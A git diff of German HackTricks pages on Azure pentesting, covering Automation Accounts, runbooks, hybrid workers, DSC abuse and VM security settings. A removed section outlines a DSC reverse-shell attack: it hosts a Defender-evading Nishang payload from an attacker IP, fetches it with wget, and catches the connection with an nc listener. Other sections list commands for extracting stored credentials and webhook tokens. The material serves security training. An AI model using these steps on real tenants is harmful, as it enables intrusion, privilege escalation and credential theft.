- **Aktion erforderlich:** Fügen Sie das AzureAD-Modul zum Automatisierungskonto hinzu.
- **Zusätzlicher Schritt:** Stellen Sie sicher, dass alle Azure Automatisierungs-Module auf die neuesten Versionen aktualisiert sind.
#### 4. Berechtigungszuweisung
- **Zuzuweisende Rollen:**
- Benutzeradministrator
- Abonnementbesitzer
- **Ziel:** Weisen Sie diese Rollen dem Automatisierungskonto für die erforderlichen Berechtigungen zu.
#### 5. Bewusstsein für potenziellen Zugriffsverlust
- **Hinweis:** Seien Sie sich bewusst, dass die Konfiguration einer solchen Automatisierung dazu führen kann, die Kontrolle über das Abonnement zu verlieren.
#### 6. Auslösen der Benutzererstellung
- Lösen Sie das Webhook aus, um einen neuen Benutzer zu erstellen, indem Sie eine POST-Anfrage senden.
- Verwenden Sie das bereitgestellte PowerShell-Skript und stellen Sie sicher, dass Sie die `$uri` durch Ihre tatsächliche Webhook-URL ersetzen und die `$AccountInfo` mit dem gewünschten Benutzernamen und Passwort aktualisieren.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Referenzen
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Überprüfen Sie den vollständigen Beitrag unter:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Zusammenfassung der Vorbereitung und Schritte der Remote-Server (C2) Infrastruktur
#### Übersicht
Der Prozess umfasst die Einrichtung einer Remote-Server-Infrastruktur, um ein modifiziertes Nishang `Invoke-PowerShellTcp.ps1` Payload, genannt `RevPS.ps1`, zu hosten, das darauf ausgelegt ist, Windows Defender zu umgehen. Das Payload wird von einer Kali Linux-Maschine mit der IP `40.84.7.74` über einen einfachen Python HTTP-Server bereitgestellt. Der Vorgang wird in mehreren Schritten ausgeführt:
#### Schritt 1 — Dateien erstellen
- **Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich:
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC) Datei, die das Payload abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Payload-Identifikatoren.
#### Schritt 2 — Konfigurationsdatei zippen
- Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Schritt 3 — Speicher-Kontext festlegen & hochladen
- Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Schritt 4 — Kali-Box vorbereiten
- Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.
#### Schritt 5 — Konfigurationsdatei veröffentlichen
- Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.
#### Schritt 6 — Payload hosten und Listener einrichten
- Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Der geplante Task führt die Payload aus und erreicht SYSTEM-Ebene Privilegien.
#### Fazit
Die erfolgreiche Ausführung dieses Prozesses eröffnet zahlreiche Möglichkeiten für weitere Aktionen, wie z.B. Credential Dumping oder die Ausweitung des Angriffs auf mehrere VMs. Der Leitfaden ermutigt zu kontinuierlichem Lernen und Kreativität im Bereich Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automatisierungskonten
{{#include ../../../../banners/hacktricks-training.md}}
## Grundinformationen
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren**, wie z.B. Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
### Einstellungen
- **Anmeldeinformationen**: Das Passwort ist nur innerhalb eines Runbooks im Automatisierungskonto zugänglich, sie werden verwendet, um **Benutzernamen und Passwörter sicher zu speichern**.
- **Variablen**: Werden verwendet, um **Konfigurationsdaten** zu speichern, die in Runbooks verwendet werden können. Dies könnte auch sensible Informationen wie API-Schlüssel enthalten. Wenn die Variable **verschlüsselt gespeichert** ist, ist sie nur innerhalb eines Runbooks im Automatisierungskonto verfügbar.
- **Zertifikate**: Werden verwendet, um **Zertifikate** zu speichern, die in Runbooks verwendet werden können.
- **Verbindungen**: Werden verwendet, um **Verbindungsinformationen** zu externen Diensten zu speichern. Dies könnte **sensible Informationen** enthalten.
- **Netzwerkzugriff**: Kann auf **öffentlich** oder **privat** eingestellt werden.
## Runbooks & Jobs
Ein Runbook in Azure Automation ist ein **Skript, das Aufgaben automatisch** in Ihrer Cloud-Umgebung ausführt. Runbooks können in PowerShell, Python oder grafischen Editoren geschrieben werden. Sie helfen, administrative Aufgaben wie VM-Management, Patchen oder Compliance-Prüfungen zu automatisieren.
Im **Code**, der sich in **Runbooks** befindet, könnten **sensible Informationen** (wie Anmeldeinformationen) enthalten sein.
Gehe zu `Automatisierungskonten` --> `<Automatisierungskonto auswählen>` --> `Runbooks/Jobs/Hybride Arbeitsgruppen/Watcher-Aufgaben/Anmeldeinformationen/Variablen/Zertifikate/Verbindungen`
Ein **Job ist eine Instanz der Ausführung eines Runbooks**. Wenn Sie ein Runbook ausführen, wird ein Job erstellt, um diese Ausführung zu verfolgen. Jeder Job umfasst:
- **Status**: Warteschlange, Ausführung, Abgeschlossen, Fehlgeschlagen, Ausgesetzt.
- **Ausgabe**: Das Ergebnis der Ausführung des Runbooks.
- **Start- und Endzeit**: Wann der Job gestartet und abgeschlossen wurde.
Ein Job enthält die **Ausgabe** der **Runbook**-Ausführung. Wenn Sie die **Jobs** **lesen** können, tun Sie dies, da sie die **Ausgabe** des Laufs enthalten (potenziell **sensible Informationen**).
### Zeitpläne & Webhooks
Es gibt 3 Hauptmethoden, um ein Runbook auszuführen:
- **Zeitpläne**: Diese werden verwendet, um Runbooks zu einem **bestimmten Zeitpunkt** oder **Intervall** zu **triggern**.
- **Webhooks**: Dies sind **HTTP-Endpunkte**, die verwendet werden können, um Runbooks von **externen Diensten** zu **triggern**. Beachten Sie, dass die Webhook-URL nach der Erstellung **nicht sichtbar** ist.
- **Manueller Trigger**: Sie können ein Runbook manuell über das Azure-Portal und die CLI **triggern**.
### Quellcodeverwaltung
Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich, anzugeben, dass die Runbooks des Repos in das Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich, anzugeben, dass die **Änderungen vom Repo** in das Azure Automatisierungskonto **synchronisiert** werden sollen.
Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel einer Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Beachten Sie, dass diese Webhooks **nicht sichtbar** sind, wenn Webhooks in den zugehörigen Runbooks zum Github-Repo aufgelistet werden. Beachten Sie auch, dass es **nicht möglich ist, die Repo-URL** einer Quellcodeverwaltung zu ändern, sobald sie erstellt wurde.
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus ist es möglich, eine benutzerdefinierte verwaltete Identität dem Automatisierungskonto zuzuweisen, indem die Variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** auf die **Client-ID der benutzerdefinierten verwalteten Identität** gesetzt wird.
### Laufzeitumgebungen
Beim Erstellen eines Runbooks ist es möglich, die Laufzeitumgebung auszuwählen. Standardmäßig sind die folgenden Laufzeitumgebungen verfügbar:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dieser Umgebungen als Basis verwendet wird. Im Fall von Python ist es möglich, `.whl`-Pakete in die Umgebung hochzuladen, die verwendet werden. Im Fall von PowerShell ist es möglich, `.zip`-Pakete mit den Modulen hochzuladen, die in der Laufzeit vorhanden sein sollen.
### Hybrider Worker
Ein Runbook kann in einem **Container innerhalb von Azure** oder in einem **hybriden Worker** (nicht-Azure-Maschine) ausgeführt werden.\
Der **Log Analytics Agent** wird auf der VM bereitgestellt, um sie als hybriden Worker zu registrieren.\
Die hybriden Worker-Jobs werden als **SYSTEM** unter Windows und als **nxautomation**-Konto unter Linux ausgeführt.\
Jeder hybride Worker ist in einer **Hybriden Worker-Gruppe** registriert.
Daher, wenn Sie wählen können, ein **Runbook** in einem **Windows-Hybriden Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
### Statuskonfiguration (SC)
>[!WARNING]
> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird die Azure Automation Statuskonfiguration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt.
Automatisierungskonten unterstützen auch **Statuskonfiguration (SC)**, eine Funktion, die hilft, den **Zustand** Ihrer VMs zu **konfigurieren** und **aufrechtzuerhalten**. Es ist möglich, DSC-Konfigurationen für **Windows**- und **Linux**-Maschinen zu **erstellen** und **anzuwenden**.
Aus der Perspektive eines Angreifers war dies interessant, da es ermöglichte, **willkürlichen PS-Code in allen konfigurierten VMs auszuführen**, was eine Eskalation der Berechtigungen zu den verwalteten Identitäten dieser VMs ermöglichte, potenziell um in neue Netzwerke zu pivotieren... Außerdem könnten die Konfigurationen **sensible Informationen** enthalten.
## Aufzählung
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Privilegieneskalation & Nach der Ausnutzung
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Referenzen
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ az-azure-network.md
## Grundinformationen zu VMs
Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen es Ihnen, Anwendungen und Workloads bereitzustellen, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren.
Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen die Bereitstellung von Anwendungen und Workloads, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren.
### Sicherheitskonfigurationen
@@ -22,14 +22,14 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert
- **Vertrauenswürdiger Start**: Dieser Sicherheitstyp verbessert den Schutz gegen Bootkits und Malware auf Kernel-Ebene durch die Verwendung von Secure Boot und Virtual Trusted Platform Module (vTPM).
- **Vertrauliche VMs**: Neben einem vertrauenswürdigen Start bietet es hardwarebasierte Isolation zwischen der VM, dem Hypervisor und der Hostverwaltung, verbessert die Festplattenverschlüsselung und [**mehr**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentifizierung**: Standardmäßig wird ein neuer **SSH-Schlüssel generiert**, obwohl es möglich ist, einen öffentlichen Schlüssel oder einen vorherigen Schlüssel zu verwenden, und der Standardbenutzername ist **azureuser**. Es ist auch möglich, die Verwendung eines **Passworts** zu konfigurieren.
- **VM-Festplattenverschlüsselung:** Die Festplatte wird standardmäßig im Ruhezustand mit einem plattformverwalteten Schlüssel verschlüsselt.
- **VM-Disk-Verschlüsselung:** Die Festplatte wird standardmäßig im Ruhezustand mit einem plattformverwalteten Schlüssel verschlüsselt.
- Es ist auch möglich, **Verschlüsselung am Host** zu aktivieren, bei der die Daten im Host verschlüsselt werden, bevor sie an den Speicherdienst gesendet werden, um eine End-to-End-Verschlüsselung zwischen dem Host und dem Speicherdienst sicherzustellen ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC-Netzwerksicherheitsgruppe**:
- **Keine**: Öffnet im Grunde jeden Port
- **Basis**: Ermöglicht das einfache Öffnen der eingehenden Ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Erweitert**: Wählen Sie eine Sicherheitsgruppe aus
- **Backup**: Es ist möglich, **Standard**-Backup (einmal täglich) und **Erweitert** (mehrmals täglich) zu aktivieren
- **Patch-Orchestrierungsoptionen**: Dies ermöglicht es, automatisch Patches in den VMs gemäß der ausgewählten Richtlinie anzuwenden, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben.
- **Backup**: Es ist möglich, **Standard**-Backups (einmal täglich) und **Erweiterte** (mehrmals täglich) zu aktivieren
- **Patch-Orchestrierungsoptionen**: Dies ermöglicht das automatische Anwenden von Patches in den VMs gemäß der ausgewählten Richtlinie, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben.
- **Benachrichtigungen**: Es ist möglich, automatisch Benachrichtigungen per E-Mail oder mobile App zu erhalten, wenn etwas in der VM passiert. Standardregeln:
- Prozentsatz CPU ist größer als 80%
- Verfügbare Speicherbytes sind weniger als 1 GB
@@ -38,7 +38,7 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert
- Netzwerk insgesamt ist größer als 500 GB
- Netzwerk aus insgesamt ist größer als 200 GB
- VmAvailabilityMetric ist weniger als 1
- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP an Port 80 überprüft
- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP auf Port 80 überprüft
- **Sperren**: Es ermöglicht, eine VM zu sperren, sodass sie nur gelesen werden kann (**ReadOnly**-Sperre) oder sie kann gelesen und aktualisiert, aber nicht gelöscht werden (**CanNotDelete**-Sperre).
- Die meisten VM-bezogenen Ressourcen **unterstützen ebenfalls Sperren** wie Festplatten, Snapshots...
- Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden.
@@ -48,7 +48,7 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert
- Es ist möglich, **eine Festplatte an 2 oder mehr VMs anzuhängen**
- Standardmäßig ist jede Festplatte **verschlüsselt** mit einem Plattformschlüssel.
- Gleiches gilt für Snapshots
- Standardmäßig ist es möglich, **die Festplatte aus allen Netzwerken zu teilen**, aber sie kann auch auf bestimmte **private Zugriffe** oder auf **vollständige Deaktivierung** des öffentlichen und privaten Zugriffs **beschränkt** werden.
- Standardmäßig ist es möglich, **die Festplatte aus allen Netzwerken zu teilen**, aber sie kann auch auf bestimmte **private Zugriffe** **beschränkt** oder der öffentliche und private Zugriff **vollständig deaktiviert** werden.
- Gleiches gilt für Snapshots
- Es ist möglich, eine **SAS-URI** (maximal 60 Tage) zu **generieren, um die Festplatte zu exportieren**, die so konfiguriert werden kann, dass sie eine Authentifizierung erfordert oder nicht
- Gleiches gilt für Snapshots
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Bilder, Galerie-Bilder & Wiederherstellungspunkte
Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um eine **neue virtuelle Maschine (VM)** zu erstellen. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs dient**.\
Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu **erstellen**. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs** dient.\
Bilder können im **Bilder-Bereich** von Azure oder in **Azure-Compute-Galerien** verwaltet werden, die es ermöglichen, **Versionen** zu erstellen und das Image tenantübergreifend zu **teilen** oder sogar öffentlich zu machen.
Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungs-konsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu einem bestimmten Zeitpunkt zurückzusetzen.
Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungskonsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zurückzusetzen, in dem sie sich zu diesem spezifischen Zeitpunkt befand.
{{#tabs}}
{{#tab name="az cli"}}
@@ -148,11 +148,11 @@ Aus den [**Docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-re
## Azure Bastion
Azure Bastion ermöglicht sicheren und nahtlosen **Remote Desktop Protocol (RDP)** und **Secure Shell (SSH)** Zugriff auf Ihre virtuellen Maschinen (VMs) direkt über das Azure-Portal oder über einen Jump-Box. Durch **die Eliminierung der Notwendigkeit für öffentliche IP-Adressen** auf Ihren VMs.
Azure Bastion ermöglicht sicheren und nahtlosen **Remote Desktop Protocol (RDP)** und **Secure Shell (SSH)** Zugriff auf Ihre virtuellen Maschinen (VMs) direkt über das Azure-Portal oder über einen Jump-Box. Durch **Beseitigung der Notwendigkeit für öffentliche IP-Adressen** auf Ihren VMs.
Der Bastion implementiert ein Subnetz namens **`AzureBastionSubnet`** mit einer `/26` Netzmaske im VNet, in dem er arbeiten muss. Dann ermöglicht es, **eine Verbindung zu internen VMs über den Browser** unter Verwendung von `RDP` und `SSH`, wodurch Ports der VMs nicht dem Internet ausgesetzt werden. Es kann auch als **Jump-Host** fungieren.
Um alle Azure Bastion Hosts in Ihrem Abonnement aufzulisten und über sie eine Verbindung zu VMs herzustellen, können Sie die folgenden Befehle verwenden:
Um alle Azure Bastion-Hosts in Ihrem Abonnement aufzulisten und über diese eine Verbindung zu VMs herzustellen, können Sie die folgenden Befehle verwenden:
{{#tabs}}
{{#tab name="az cli"}}
@@ -191,7 +191,7 @@ Get-AzBastion
Der Azure Instance Metadata Service (IMDS) **stellt Informationen über laufende virtuelle Maschineninstanzen bereit**, um deren Verwaltung und Konfiguration zu unterstützen. Er bietet Details wie SKU, Speicher, Netzwerkkonfigurationen und Informationen über bevorstehende Wartereignisse über **REST API, die unter der nicht routbaren IP-Adresse 169.254.169.254** verfügbar ist, die nur von innerhalb der VM zugänglich ist. Die Kommunikation zwischen der VM und IMDS bleibt innerhalb des Hosts, was einen sicheren Zugriff gewährleistet. Bei der Abfrage von IMDS sollten HTTP-Clients innerhalb der VM Web-Proxy-Server umgehen, um eine ordnungsgemäße Kommunikation sicherzustellen.
Darüber hinaus muss die HTTP-Anfrage, um den Metadatenendpunkt zu kontaktieren, den Header **`Metadata: true`** enthalten und darf nicht den Header **`X-Forwarded-For`** haben.
Darüber hinaus muss die HTTP-Anfrage, um den Metadaten-Endpunkt zu kontaktieren, den Header **`Metadata: true`** enthalten und darf nicht den Header **`X-Forwarded-For`** haben.
Überprüfen Sie, wie Sie es auflisten können in:
@@ -433,7 +433,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
Azure VM-Erweiterungen sind kleine Anwendungen, die **Konfiguration nach der Bereitstellung** und Automatisierungsaufgaben auf Azure-virtuellen Maschinen (VMs) bereitstellen.
Dies würde es ermöglichen, **beliebigen Code innerhalb von VMs auszuführen**.
Dies würde es ermöglichen, **willkürlichen Code innerhalb von VMs auszuführen**.
Die erforderliche Berechtigung ist **`Microsoft.Compute/virtualMachines/extensions/write`**.
@@ -539,7 +539,7 @@ Die erforderliche Berechtigung ist weiterhin **`Microsoft.Compute/virtualMachine
<summary>VMAccess-Erweiterung</summary>
Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern in Windows-VMs zu ändern.
Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern innerhalb von Windows-VMs zu ändern.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
